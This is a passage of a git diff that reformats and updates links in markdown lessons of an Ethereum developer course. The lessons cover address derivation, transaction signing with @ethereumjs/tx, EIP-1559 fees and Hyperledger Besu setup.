slightly. + +## Derive the Ethereum Address From the Keypair Deriving an Ethereum address from a public key requires an additional hashing algorithm. Import it like so: -``` -const keccak256 = require('js-sha3').keccak256; +```javascript +const keccak256 = require("js-sha3").keccak256; ``` Taking the `keccak-256` hash of the public key will return 32 bytes which you need to trim down to the last 20 bytes (40 characters in hex) to get the address - -``` -function deriveEthAddress(pubKey){ - const address = keccak256(pubKey) // keccak256 hash of publicKey - // Get the last 20 bytes of the public key - return "0x" + address.substring(address.length - 40, address.length) + +```javascript +function deriveEthAddress(pubKey) { + const address = keccak256(pubKey); // keccak256 hash of publicKey + // Get the last 20 bytes of the public key + return "0x" + address.substring(address.length - 40, address.length); } ``` -You can check this mnemonic, private key and address against [myetherwallet](https://www.myetherwallet.com/#view-wallet-info){target=_blank}. Select restore from mnemonic or private key and verify that the derived address matches the one in this app. -Creating a Digital Signature With Your Key ------------------------------------------- +You can check this mnemonic, private key and address against [myetherwallet](https://www.myetherwallet.com/#view-wallet-info){target=\_blank}. Select restore from mnemonic or private key and verify that the derived address matches the one in this app. + +## Creating a Digital Signature With Your Key Using this private key we can sign transactions from this address and broadcast them to the network. Note: There are now two types of transactions + 1. Legacy (Pre-EIP1559) which at some point will be deprecated -2. EIP1559 Transactions utilising the new gas fee estimation methods +2. EIP1559 Transactions utilizing the new gas fee estimation methods Both types are covered here. Nodes that are verifying transactions in the network will use the signature to determine the address of the signatory, cryptographically verifying that every transaction from this account is coming from someone who has access to the corresponding private key. -You can sign transactions in the browser with the [@ethereumjs/tx library](https://github.com/ethereumjs/ethereumjs-monorepo/tree/master/packages/tx){target=_blank}. +You can sign transactions in the browser with the [@ethereumjs/tx library](https://github.com/ethereumjs/ethereumjs-monorepo/tree/master/packages/tx){target=\_blank}. -``` -const EthereumTx = require('ethereumjs-tx') -... +```javascript +const EthereumTx = require('ethereumjs-tx') +... const { FeeMarketEIP1559Transaction, Transaction } = require("@ethereumjs/tx"); const { Chain, Hardfork, Common } = require("@ethereumjs/common"); const { bigIntToHex } = require("@ethereumjs/util"); -function signLegacyTx(privKey, txData){ +function signLegacyTx(privKey, txData){ const txParams = new Common({ chain: Chain.Mainnet, hardfork: Hardfork.Istanbul }) const tx = Transaction.fromTxData(txData, { txParams }) return tx.sign(privKey) } -function signEIP1559Tx(privKey, txData){ +function signEIP1559Tx(privKey, txData){ const txOptions = new Common({ chain: Chain.Mainnet, hardfork: Hardfork.London }) const tx = FeeMarketEIP1559Transaction.fromTxData(txData, { txOptions }) return tx.sign(privKey) @@ -135,54 +139,56 @@ function signEIP1559Tx(privKey, txData){ Unsigned Ethereum transactions look something like this: -``` -{ - nonce: '0x00', - gasPrice: '0x09184e72a000', - gasLimit: '0x2710', - to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', - value: '0x10', - data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057', +```javascript +{ + nonce: '0x00', + gasPrice: '0x09184e72a000', + gasLimit: '0x2710', + to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', + value: '0x10', + data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057', chainId: 3 } ``` + And a signed transaction looks something like this: -``` -{ - nonce: '0x00', - gasPrice: '0x09184e72a000', - gasLimit: '0x2710', - to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', - value: '0x00', - data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057', - v: '0x29', - r: '0xb934fbdb16fda944ddc0cb33e64344b90fbd25564444832f7f8d697512069402', - s: '0x29' +```javascript +{ + nonce: '0x00', + gasPrice: '0x09184e72a000', + gasLimit: '0x2710', + to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', + value: '0x00', + data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057', + v: '0x29', + r: '0xb934fbdb16fda944ddc0cb33e64344b90fbd25564444832f7f8d697512069402', + s: '0x29' } ``` -Notice the main difference between signed and unsigned transactions is the inclusion of the variables `v`, `r` and `s`. These variables are used to recover the address corresponding to the key that signed the transaction. This signed transaction is broadcast to the network to be included in a block. You can read more about these variables in [this excellent article here.](https://medium.com/mycrypto/the-magic-of-digital-signatures-on-ethereum-98fe184dc9c7){target=_blank} + +Notice the main difference between signed and unsigned transactions is the inclusion of the variables `v`, `r` and `s`. These variables are used to recover the address corresponding to the key that signed the transaction. This signed transaction is broadcast to the network to be included in a block. You can read more about these variables in [this excellent article here](https://medium.com/mycrypto/the-magic-of-digital-signatures-on-ethereum-98fe184dc9c7){target=\_blank}. You can recover the sender address from the signed transaction with the following method: -``` -function getSignerAddress(signedTx){ - return "0x" + signedTx.getSenderAddress().toString('hex') +```javascript +function getSignerAddress(signedTx) { + return "0x" + signedTx.getSenderAddress().toString("hex"); } ``` -Unsigned EIP1559 Ethereum transactions looks something like this - *note* the `gasPrice` is missing and replaced with `maxPriorityFeePerGas` and `maxFeePerGas`, and there is a `type: 2` indicating the EIP1559 transaction. +Unsigned EIP1559 Ethereum transactions looks something like this - _note_ the `gasPrice` is missing and replaced with `maxPriorityFeePerGas` and `maxFeePerGas`, and there is a `type: 2` indicating the EIP1559 transaction. ```javascript { - nonce: '0x00', - type: 2, - gasLimit: '0x09184e72a000', - maxPriorityFeePerGas: '0x09184e72a000', + nonce: '0x00', + type: 2, + gasLimit: '0x09184e72a000', + maxPriorityFeePerGas: '0x09184e72a000', maxFeePerGas: '0x09184e72a000', gasLimit: '0x2710', - to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', - value: '0x10', + to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', + value: '0x10', data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057', chainId: 3 } @@ -191,34 +197,31 @@ Unsigned EIP1559 Ethereum transactions looks something like this - *note* the `g And a signed EIP1559 transaction looks something like this ```javascript -{ - nonce: '0x00', - type: 2, +{ + nonce: '0x00', + type: 2, gasLimit: '0x09184e72a000', - maxPriorityFeePerGas: '0x09184e72a000', + maxPriorityFeePerGas: '0x09184e72a000', maxFeePerGas: '0x09184e72a000', - to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', - value: '0x00', - data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057', - chainId: 3, - v: 0x29, - r: 0x0172f576ab20d1616ec839b0a8a3475e8113f83f7d98cbe3822f4f4dd7bca262, - s: 0x025d92c8f2d3add278c263030fb2b4195bb15ad55418141c774354a9594be972 + to: '0x31c1c0fec59ceb9cbe6ec474c31c1dc5b66555b6', + value: '0x00', + data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057', + chainId: 3, + v: 0x29, + r: 0x0172f576ab20d1616ec839b0a8a3475e8113f83f7d98cbe3822f4f4dd7bca262, + s: 0x025d92c8f2d3add278c263030fb2b4195bb15ad55418141c774354a9594be972 } ``` Notice the main difference between signed and unsigned transaction is the inclusion of the variables `v`, `r` and `s`. These variables are used to recover the address corresponding to the key that signed the transaction. -That's it! You've successfully generated a private, public keypair and then used that to derive a valid Ethereum address. You've also then created the world's tiniest crypto-wallet. Using the `signLegacyTx()` and the `signEIP1559Tx()` functions you have created and signed transactions. You can now also recover the address from a digital signature or signed transaction. +That's it! You've successfully generated a private, public key-pair and then used that to derive a valid Ethereum address. You've also then created the world's tiniest crypto-wallet. Using the `signLegacyTx()` and the `signEIP1559Tx()` functions you have created and signed transactions. You can now also recover the address from a digital signature or signed transaction. You'll very rarely have to do this kind of crypto-primitive handling. For one, it's garbage for security. But, also, there is so much tooling available to you to do these kind of operations safely and efficiently at scale. For learning purposes, however, nothing beats coding this stuff on its own! - Additional links: ------------------ - -* [Understanding the concept of private keys, public keys and addresses in Ethereum](https://etherworld.co/2017/11/17/understanding-the-concept-of-private-key-public-key-and-address-in-ethereum-blockchain/){target=_blank} -* [Bitcoin wiki on Secp256k1](https://en.bitcoin.it/wiki/Secp256k1){target=_blank} -* [Ethereum yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf){target=_blank} -* [Article: The Magic of Digital Signatures (MyCrypto)](https://medium.com/mycrypto/the-magic-of-digital-signatures-on-ethereum-98fe184dc9c7){target=_blank} +## Additional links - +- [Understanding the concept of private keys, public keys and addresses in Ethereum](https://etherworld.co/2017/11/17/understanding-the-concept-of-private-key-public-key-and-address-in-ethereum-blockchain/){target=\_blank} +- [Bitcoin wiki on Secp256k1](https://en.bitcoin.it/wiki/Secp256k1){target=\_blank} +- [Ethereum yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf){target=\_blank} +- [Article: The Magic of Digital Signatures (MyCrypto)](https://medium.com/mycrypto/the-magic-of-digital-signatures-on-ethereum-98fe184dc9c7){target=\_blank} diff --git a/docs/S02-ethereum/M3-state/L3-eth-structure/index.md b/docs/S02-ethereum/M3-state/L3-eth-structure/index.md index 242e442b..50d10511 100644 --- a/docs/S02-ethereum/M3-state/L3-eth-structure/index.md +++ b/docs/S02-ethereum/M3-state/L3-eth-structure/index.md @@ -5,5 +5,5 @@ Required Reading Additional Resources: 1. [Ethereum Block Architecture](https://ethereum.stackexchange.com/questions/268/ethereum-block-architecture) -2. [Ethereum Development tutorial](https://github.com/ethereum/wiki/wiki/Ethereum-Development-Tutorial) -3. [Ethstats](https://ethstats.net/) +2. [Ethereum Development tutorial](https://ethereum.org/en/developers/tutorials/) +3. [Ethstats](https://geth.ethereum.org/docs/monitoring/ethstats) diff --git a/docs/S02-ethereum/M3-state/L4-txn-tutorial/index.md b/docs/S02-ethereum/M3-state/L4-txn-tutorial/index.md index b55e8fc2..c42eea19 100644 --- a/docs/S02-ethereum/M3-state/L4-txn-tutorial/index.md +++ b/docs/S02-ethereum/M3-state/L4-txn-tutorial/index.md @@ -1,9 +1,6 @@ - Sending Transactions -==================== +# Sending Transactions - We're created an [interactive Observable notebook](https://observablehq.com/@consensys-academy/externally-owned-accounts-and-ethereum-transactions){target=_blank} to learn more about Externally Owned Accounts signing and sending transactions into the network. [You can find the tutorial here.](https://observablehq.com/@consensys-academy/externally-owned-accounts-and-ethereum-transactions){target=_blank} +We've created an [interactive Observable notebook](https://observablehq.com/@consensys-academy/externally-owned-accounts-and-ethereum-transactions){target=\_blank} to learn more about Externally Owned Accounts signing and sending transactions into the network. [You can find the tutorial here](https://observablehq.com/@consensys-academy/externally-owned-accounts-and-ethereum-transactions){target=\_blank}. - If the notebook doesn't operate properly or you get the error Web3js = SecurityError: Failed to read the 'localStorage' property from 'Window': Access is denied for this document. you will need to enable third party cookies. - This varies from browser to browser. - - \ No newline at end of file +If the notebook doesn't operate properly or you get the error - _Web3js = SecurityError: Failed to read the 'localStorage' property from 'Window': Access is denied for this document._ - you will need to enable third party cookies. +This varies from browser to browser. diff --git a/docs/S02-ethereum/M3-state/L5-merkle-trees/index.md b/docs/S02-ethereum/M3-state/L5-merkle-trees/index.md index 47915e2a..e6fa46dd 100644 --- a/docs/S02-ethereum/M3-state/L5-merkle-trees/index.md +++ b/docs/S02-ethereum/M3-state/L5-merkle-trees/index.md @@ -2,5 +2,5 @@ Additional Resources: 1. [Article: Merkling in Ethereum by Vitalik Buterin](https://blog.ethereum.org/2015/11/15/merkling-in-ethereum/) 2. [Article: Ever Wonder How Merkle Trees Work? by ConsenSys Media](https://media.consensys.net/ever-wonder-how-merkle-trees-work-c2f8b7100ed3) -3. [Article: Patricia Merkle Trees](https://eth.wiki/en/fundamentals/patricia-tree) +3. [Article: Patricia Merkle Trees](https://ethereum.org/en/developers/docs/data-structures-and-encoding/patricia-merkle-trie) 4. [Interactive Code: Playing with Merkle Trees (Josh Crites)](https://observablehq.com/@consensys-academy/merkle-trees) diff --git a/docs/S02-ethereum/M3-state/L6-playing-with-merkle-trees/index.md b/docs/S02-ethereum/M3-state/L6-playing-with-merkle-trees/index.md index 7abaf934..4bf634d0 100644 --- a/docs/S02-ethereum/M3-state/L6-playing-with-merkle-trees/index.md +++ b/docs/S02-ethereum/M3-state/L6-playing-with-merkle-trees/index.md @@ -1,14 +1,10 @@ - Playing with Merkle Trees -========================= +# Playing with Merkle Trees - To learn more about Merkle Trees, we've made [an Observable Notebook you can find here.](https://observablehq.com/@consensys-academy/merkle-trees){target=_blank} Follow along with the tutorial to better understand the code structure of this data structure. +To learn more about Merkle Trees, we've made [an Observable Notebook you can find here](https://observablehq.com/@consensys-academy/merkle-trees){target=\_blank}. Follow along with the tutorial to better understand the code structure of this data structure. - Additional Material -------------------- +## Additional Material - * [Video: Merkle Roots, Merkle Trees](https://www.youtube.com/watch?v=gUwXCt1qkBU){target=_blank} -* [Wikipedia: Merkle Trees,](https://en.wikipedia.org/wiki/Merkle_tree){target=_blank} [Merkle Patricia Tree,](https://eth.wiki/en/fundamentals/patricia-tree){target=_blank} [Radix Tree](https://en.wikipedia.org/wiki/Radix_tree){target=_blank} -* [Interactive Code: Binary Trees](http://btholt.github.io/four-semesters-of-cs/){target=_blank} Scroll down to "Binary Search Tree," this is more general computer science! -* [Code Tutorial: Implement A Binary Search Tree](https://initjs.org/implement-a-binary-search-tree-in-javascript-952a44ee7c26){target=_blank} Again, another general computer science tutorial, simply meant to give you an understanding of tree data structures and how machines read and write to them. - - \ No newline at end of file +- [Video: Merkle Roots, Merkle Trees](https://www.youtube.com/watch?v=gUwXCt1qkBU){target=\_blank} +- [Wikipedia: Merkle Trees](https://en.wikipedia.org/wiki/Merkle_tree){target=\_blank}, [Merkle Patricia Tree](https://ethereum.org/en/developers/docs/data-structures-and-encoding/patricia-merkle-trie){target=\_blank}, [Radix Tree](https://en.wikipedia.org/wiki/Radix_tree){target=\_blank} +- [Interactive Code: Binary Trees](http://btholt.github.io/four-semesters-of-cs/){target=\_blank} Scroll down to "Binary Search Tree," this is more general computer science! +- [Code Tutorial: Implement A Binary Search Tree](https://initjs.org/implement-a-binary-search-tree-in-javascript-952a44ee7c26){target=\_blank} Again, another general computer science tutorial, simply meant to give you an understanding of tree data structures and how machines read and write to them. diff --git a/docs/S02-ethereum/M3-state/L7-1559/index.md b/docs/S02-ethereum/M3-state/L7-1559/index.md index 2dc0b70b..6cb5ad2c 100644 --- a/docs/S02-ethereum/M3-state/L7-1559/index.md +++ b/docs/S02-ethereum/M3-state/L7-1559/index.md @@ -1,71 +1,69 @@ - EIP-1559 -======== +# EIP-1559 - We've talked about mining in the Ethereum as the way the network confirms and propagates state changes. However, in August 2021, the Ethereum core developer community, after many years of research, development and testing, released a major change to the mining process in Ethereum known as [EIP-1559](https://eips.ethereum.org/EIPS/eip-1559){target=_blank} (remember Ethereum Improvement Proposals or EIPs are the way the Ethereum community incorporates changes to the protocol). +We've talked about mining in the Ethereum as the way the network confirms and propagates state changes. However, in August 2021, the Ethereum core developer community, after many years of research, development and testing, released a major change to the mining process in Ethereum known as [EIP-1559](https://eips.ethereum.org/EIPS/eip-1559){target=\_blank} (remember Ethereum Improvement Proposals or EIPs are the way the Ethereum community incorporates changes to the protocol). - Before EIP-1559, Ethereum transaction fees were market-driven. Meaning, the gas price, or fee, dictated how quickly a miner would include a transaction in a block. This has led to some dramatic price swings in fees and pushed network developers to find a more stable solution. Enter EIP-1559. +Before EIP-1559, Ethereum transaction fees were market-driven. Meaning, the gas price, or fee, dictated how quickly a miner would include a transaction in a block. This has led to some dramatic price swings in fees and pushed network developers to find a more stable solution. Enter EIP-1559. - EIP-1559 replaces the gas fees with a fixed-price sale. Now, people submitting transactions won’t have to guess as much about how much gas is required, as there will be an explicitly ‘base fee’ to be included in the next block. For users or applications that want to prioritize their transaction, they can add a “tip” to pay a miner. The base fee will be "burned," meaning destroyed, while the tip goes to the miner. +EIP-1559 replaces the gas fees with a fixed-price sale. Now, people submitting transactions won’t have to guess as much about how much gas is required, as there will be an explicitly ‘base fee’ to be included in the next block. For users or applications that want to prioritize their transaction, they can add a “tip” to pay a miner. The base fee will be "burned," meaning destroyed, while the tip goes to the miner. - In times of high network activity, the base fee will adjust in a predictable manner to gate the flow of transactions. +In times of high network activity, the base fee will adjust in a predictable manner to gate the flow of transactions. - ![diagram showing before and after 1559 of network processing transactions](../../../img/S01/1559.png) +![diagram showing before and after 1559 of network processing transactions](../../../img/S01/1559.png) - As an analogy to explain the base fee and tip, imagine the experience of using a ride sharing service app on your phone (e.g. Uber, Lyft, or Didi). You want to use this app to get a ride to go from A to B. The cost to go from A to B is the same, regardless of which driver picks you up (the base fee in EIP-1559). Now, imagine if you were able to add a tip to your driver, prior to getting on the ride. If your tip is higher than what other people at that time are offering, drivers will be incentivized to pick you up over other potential passengers not offering a tip. +As an analogy to explain the base fee and tip, imagine the experience of using a ride sharing service app on your phone (e.g. Uber, Lyft, or Didi). You want to use this app to get a ride to go from A to B. The cost to go from A to B is the same, regardless of which driver picks you up (the base fee in EIP-1559). Now, imagine if you were able to add a tip to your driver, prior to getting on the ride. If your tip is higher than what other people at that time are offering, drivers will be incentivized to pick you up over other potential passengers not offering a tip. - This process is similar to your ETH transactions: you can set a tip for miners (the “driver” in the above example) to include your transaction in the next block (the “ride” in the above example). A higher tip means a greater chance of your transaction being included in the next block and therefore being completed. +This process is similar to your ETH transactions: you can set a tip for miners (the “driver” in the above example) to include your transaction in the next block (the “ride” in the above example). A higher tip means a greater chance of your transaction being included in the next block and therefore being completed. - Crucially, EIP-1559 makes the gas prices more transparent but it does **not** lower the prices. This is a common misconception. EIP-1559 may reduce the amount of time the network has high gas prices, but the only way to deal with high gas prices is to improve scalability (which we'll discuss in a later section). +Crucially, EIP-1559 makes the gas prices more transparent but it does **not** lower the prices. This is a common misconception. EIP-1559 may reduce the amount of time the network has high gas prices, but the only way to deal with high gas prices is to improve scalability (which we'll discuss in a later section). - It's still very early days for 1559 and we'll get to see how it progresses together! +It's still very early days for 1559 and we'll get to see how it progresses together! - Changes for Developers ----------------------- +## Changes for Developers - EIP-1559 is a backwards compatible upgrade. You'll remember from the section on distributed consensus, this means that pre-EIP-1559 transaction structure is still supported. However, post-EIP-1559, a transaction price is calculated using the following equation: -``` +EIP-1559 is a backwards compatible upgrade. You'll remember from the section on distributed consensus, this means that pre-EIP-1559 transaction structure is still supported. However, post-EIP-1559, a transaction price is calculated using the following equation: + +```text transaction fee = baseFee + min(maxFee - baseFee, priorityFee) ``` -An explanation of the three variables: -* `baseFee` A fee that floats based on the network congestion and the most recent value can be fetched via a new JSON RPC call `eth_feeHistory` -* `priorityFee` (also called a tip) A fee to entice a block producer to include the transaction. -* **`maxFee`** The highest network fee the user is willing to pay. -Here are some changes to the [Ethereum JSON-RPC format](https://eth.wiki/json-rpc/API){target=_blank} you will see on the protocol level that may affect the way you develop as well, broken down by part of the Ethereum protocol affected: +An explanation of the three variables: + +- `baseFee` A fee that floats based on the network congestion and the most recent value can be fetched via a new JSON RPC call `eth_feeHistory` +- `priorityFee` (also called a tip) A fee to entice a block producer to include the transaction. +- **`maxFee`** The highest network fee the user is willing to pay. + +Here are some changes to the [Ethereum JSON-RPC format](https://ethereum.org/en/developers/docs/apis/json-rpc/){target=\_blank} you will see on the protocol level that may affect the way you develop as well, broken down by part of the Ethereum protocol affected: ### Blocks -* `eth_getBlockBy` A new field baseFeePerGas is included for post-London blocks -* `eth_getUncleBy*` A new field baseFeePerGas is included for post-London blocks -* Block header data `baseFeePerGas` is the base fee paid by all transactions in this block. (The field is empty for all blocks before the fork.) +- `eth_getBlockBy` A new field baseFeePerGas is included for post-London blocks +- `eth_getUncleBy*` A new field baseFeePerGas is included for post-London blocks +- Block header data `baseFeePerGas` is the base fee paid by all transactions in this block. (The field is empty for all blocks before the fork.) ### Transaction Data -* `maxPriorityFeePerGas` specifies the tip (priority fee) to entice a block producer to include your transaction. -* `maxFeePerGas` is the maximum fee the user is willing to pay the block producer for including this transaction. -* Legacy transactions that only include a `gasPrice` are still valid and they will be accepted into the blocks. The user will simply pay the entire proposed network fee and as a result they may pay a premium compared to other users on the network. -* `eth_gasPrice` is deprecated and replaced with `eth_feeHistory`, which returns transaction fee data for up to 1024 blocks. For each block, `eth_feeHistory` reports the base fee, a percentile list of effective priority fees and the ratio of gas used/limit. Note the required base fee for the next block is returned as well. +- `maxPriorityFeePerGas` specifies the tip (priority fee) to entice a block producer to include your transaction. +- `maxFeePerGas` is the maximum fee the user is willing to pay the block producer for including this transaction. +- Legacy transactions that only include a `gasPrice` are still valid and they will be accepted into the blocks. The user will simply pay the entire proposed network fee and as a result they may pay a premium compared to other users on the network. +- `eth_gasPrice` is deprecated and replaced with `eth_feeHistory`, which returns transaction fee data for up to 1024 blocks. For each block, `eth_feeHistory` reports the base fee, a percentile list of effective priority fees and the ratio of gas used/limit. Note the required base fee for the next block is returned as well. ### Transaction Simulation - * `eth_call` May require the developer to specify the gas price or new 1559 gas pricing to reflect true execution of a transaction. The Go-Ethereum (geth) developer team has more about the changes to `eth_call` [here.](https://github.com/ethereum/go-ethereum/pull/23027){target=_blank} -* `eth_estimateGas` May fail to estimate the gas if the gas price or new 1559 gas pricing is not filled in (i.e., greater than 0). -* London Fork, which implements EIP-1559, also implements the related EIP-3198. This adds a new opcode, `BASEFEE`, that returns the base fee of the current block it is executing in. It is recommended for developers to explicitly set the gas pricing for both JSON RPC calls to avoid a failed JSON RPC call response. - - Additional Material -------------------- +- `eth_call` May require the developer to specify the gas price or new 1559 gas pricing to reflect true execution of a transaction. The Go-Ethereum (geth) developer team has more about the changes to `eth_call` [here](https://github.com/ethereum/go-ethereum/pull/23027){target=\_blank}. +- `eth_estimateGas` May fail to estimate the gas if the gas price or new 1559 gas pricing is not filled in (i.e., greater than 0). +- London Fork, which implements EIP-1559, also implements the related EIP-3198. This adds a new opcode, `BASEFEE`, that returns the base fee of the current block it is executing in. It is recommended for developers to explicitly set the gas pricing for both JSON RPC calls to avoid a failed JSON RPC call response. - * [Video: EIP-1559 Explained (Finematics)](https://youtu.be/MGemhK9t44Q){target=_blank} -* [Article: What is EIP-1559? (ConsenSys)](https://consensys.net/blog/quorum/what-is-eip-1559-how-will-it-change-ethereum/){target=_blank} A great introductory explainer article we used for much of the course material. -* [Article: What is EIP-1559? (MetaMask)](https://metamask.io/1559){target=_blank} Another introductory article, this time from the perspective of a MetaMask user -* [Video: How To Set Transaction Priority in MetaMask](https://www.youtube.com/watch?v=gsfJywNxpi4){target=_blank} Great video walking through the ways in which MetaMask is adjusting to EIP-1559. -* [Interactive: Ultrasound Money](https://ultrasound.money/){target=_blank} The website provides realtime updates on how much ether has been burned as part of EIP-1559 +## Additional Material - ### Technical +- [Video: EIP-1559 Explained (Finematics)](https://youtu.be/MGemhK9t44Q){target=\_blank} +- [Article: What is EIP-1559? (ConsenSys)](https://consensys.net/blog/quorum/what-is-eip-1559-how-will-it-change-ethereum/){target=\_blank} A great introductory explainer article we used for much of the course material. +- [Article: What is EIP-1559? (MetaMask)](https://metamask.io/1559){target=\_blank} Another introductory article, this time from the perspective of a MetaMask user +- [Video: How To Set Transaction Priority in MetaMask](https://www.youtube.com/watch?v=gsfJywNxpi4){target=\_blank} Great video walking through the ways in which MetaMask is adjusting to EIP-1559. +- [Interactive: Ultrasound Money](https://ultrasound.money/){target=\_blank} The website provides realtime updates on how much ether has been burned as part of EIP-1559 - * [Article: London Fork (Infura)](https://blog.infura.io/london-fork/){target=_blank} Great technical overview of the protocol changes coming to clients, specifically to the JSON-RPC API calls all Ethereum clients must use. -* [Article: EIP-1559 JSON-RPC Changes (Tim Beiko)](https://hackmd.io/@timbeiko/1559-json-rpc){target=_blank} A more dry look at the JSON-RPC changes -* [Wiki: 1559 Resources (Tim Beiko)](https://hackmd.io/@timbeiko/1559-resources){target=_blank} A comprehensive list of resources to explore any aspect of EIP-1559, from the UX, Security, Economics, Mining or Simulations -* [GitHub: eth\_call invocations post 1559](https://github.com/ethereum/go-ethereum/pull/23027){target=_blank} Explainer from the Geth team about the changes to the `eth_call` JSON-RPC call +### Technical - +- [Article: London Fork (Infura)](https://blog.infura.io/london-fork/){target=\_blank} Great technical overview of the protocol changes coming to clients, specifically to the JSON-RPC API calls all Ethereum clients must use. +- [Article: EIP-1559 JSON-RPC Changes (Tim Beiko)](https://hackmd.io/@timbeiko/1559-json-rpc){target=\_blank} A more dry look at the JSON-RPC changes +- [Wiki: 1559 Resources (Tim Beiko)](https://hackmd.io/@timbeiko/1559-resources){target=\_blank} A comprehensive list of resources to explore any aspect of EIP-1559, from the UX, Security, Economics, Mining or Simulations +- [GitHub: eth_call invocations post 1559](https://github.com/ethereum/go-ethereum/pull/23027){target=\_blank} Explainer from the Geth team about the changes to the `eth_call` JSON-RPC call diff --git a/docs/S02-ethereum/M3-state/L8-networks/index.md b/docs/S02-ethereum/M3-state/L8-networks/index.md index 5ae99785..d0870982 100644 --- a/docs/S02-ethereum/M3-state/L8-networks/index.md +++ b/docs/S02-ethereum/M3-state/L8-networks/index.md @@ -1,6 +1,3 @@ - Merkel Trees -============ +# Merkel Trees - This content is a video hosted on courses.consensys.net (for now) - - \ No newline at end of file +This content is a video hosted on courses.consensys.net (for now) diff --git a/docs/S02-ethereum/M4-clients-workshop/L1/index.md b/docs/S02-ethereum/M4-clients-workshop/L1/index.md index 40c81fc9..7db92f24 100644 --- a/docs/S02-ethereum/M4-clients-workshop/L1/index.md +++ b/docs/S02-ethereum/M4-clients-workshop/L1/index.md @@ -1,4 +1,3 @@ - # What is an Ethereum Client? Running Hyperledger Besu Hyperledger Besu is an Ethereum client with mainnet compatibility. It can also be used to run a private network. It is the open-source protocol layer that delivers all the perks from Ethereum and addresses enterprise requirements. Hyperledger Besu is actually part of a bundled suite of Ethereum protocol clients called ConsenSys Quorum, which consists of Hyperledger Besu and GoQuorum, private key managers, consensus mechanisms, transaction managers, APIs, plugins, libraries, deployment tools, etc. In this tutorial, we are going to walk you through how the client works, and take some detours to explain concepts in detail. @@ -7,16 +6,16 @@ Hyperledger Besu is an Ethereum client with mainnet compatibility. It can also b At the end of this guide, we will have walked you through deploying the Hyperledger Besu via the ConsenSys Quorum quickstart AND learned generally about private and public networks. As part of this process you will: -* Part 1: Download all necessary dependencies required of your system to run the ConsenSys Quorum Quickstart -* Part 2: Download and Start the ConsenSys Quorum Quickstart -* Part 3: Set up MetaMask and import a private key from the README -* Part 4: Deploy a decentralized application to the private network -* Part 5: Use the monitoring tools used in the quickstart -* Part 6: Deploy a second Smart Contract to the network and send a private transaction +- Part 1: Download all necessary dependencies required of your system to run the ConsenSys Quorum Quickstart +- Part 2: Download and Start the ConsenSys Quorum Quickstart +- Part 3: Set up MetaMask and import a private key from the README +- Part 4: Deploy a decentralized application to the private network +- Part 5: Use the monitoring tools used in the quickstart +- Part 6: Deploy a second Smart Contract to the network and send a private transaction We will walk you through every step of the process, helping you get setup and providing helpful resources in case you get stuck. We will go into more detail than the documentation, where appropriate, to give you a deeper understanding of Hyperledger Besu -We will be referring to the [documentation found here](https://besu.hyperledger.org/en/stable/Tutorials/Developer-Quickstart/) throughout this article and linking to other useful documentation if you would like to do deeper into any particular topic. +We will be referring to the [documentation found here](https://besu.hyperledger.org/en/stable/private-networks/tutorials/quickstart/){target=\_blank} throughout this article and linking to other useful documentation if you would like to do deeper into any particular topic. ## Part 1: Installing Dependencies @@ -24,41 +23,41 @@ This section will walk you through the installation of dependencies. This is wri MacOS users will start by installing NodeJS. -Open up the terminal. If this is the first that you are hearing the term terminal or directory, [check out this guide](https://missing.csail.mit.edu/2020/course-shell/) to understanding how the shell, terminal, and directories on a computer will work. This will be important to understanding how to navigate to the appropriate location on your computer. +Open up the terminal. If this is the first that you are hearing the term terminal or directory, [check out this guide](https://missing.csail.mit.edu/2020/course-shell/){target=\_blank} to understanding how the shell, terminal, and directories on a computer will work. This will be important to understanding how to navigate to the appropriate location on your computer. Type in `node --version` to see if node is already installed on your computer. If it is, you will get the version returned, for example: -![](../../../img/S02/besu-1.png) +![node version](../../../img/S02/besu-1.png) -If node is not installed, you will see `command not found: node`. Click on [this link](https://nodejs.org/en/download/) to go to the Nodejs website and download the MacOS installer (the file name will end in .pkg). Open it up and follow the instructions. +If node is not installed, you will see `command not found: node`. Click on [this link](https://nodejs.org/en/download/){target=\_blank} to go to the Nodejs website and download the MacOS installer (the file name will end in .pkg). Open it up and follow the instructions. Once completed, restart your terminal. Then type `node --version` into the terminal again to confirm Node has properly installed. -If you are having problems with installation of node, you can access the help from the Node community via the “help” section of their GitHub, which includes [links to their Slack channel.](https://github.com/nodejs/help) +If you are having problems with installation of node, you can access the help from the Node community via the “help” section of their GitHub, which includes [links to their Slack channel](https://github.com/nodejs/help){target=\_blank}. MacOS users will now move onto installing Docker and Docker Compose Open up the terminal and type in `docker --version` to see if Docker is already installed on your computer. If it is, you will get the version returned, for example: -![](../../../img/S02/besu-2.png) +![docker version](../../../img/S02/besu-2.png) -If Docker is not installed, you will see `command not found: docker`. Click on [this link](https://docs.docker.com/docker-for-mac/install/) to go to Docker website and download Docker Desktop, which will include Docker and Docker Compose. Click the button for the appropriate chip within your Mac (The Apple chip was released in late 2020, if you have a Mac from before then it’s most likely an Intel chip) +If Docker is not installed, you will see `command not found: docker`. Click on [this link](https://docs.docker.com/docker-for-mac/install/){target=\_blank} to go to Docker website and download Docker Desktop, which will include Docker and Docker Compose. Click the button for the appropriate chip within your Mac (The Apple chip was released in late 2020, if you have a Mac from before then it’s most likely an Intel chip) -Follow along with the rest of the instructions in [the link provided.](https://docs.docker.com/docker-for-mac/install/) For a tutorial on Docker itself, you can find that [here,](https://docs.docker.com/docker-for-mac/) along with another Getting Started Guide [here.](https://docs.docker.com/get-started/) If you run into issues, access [the troubleshooting guide for Docker.](https://docs.docker.com/docker-for-mac/troubleshoot/) +Follow along with the rest of the instructions in [the link provided](https://docs.docker.com/docker-for-mac/install/){target=\_blank}. For a tutorial on Docker itself, you can find that 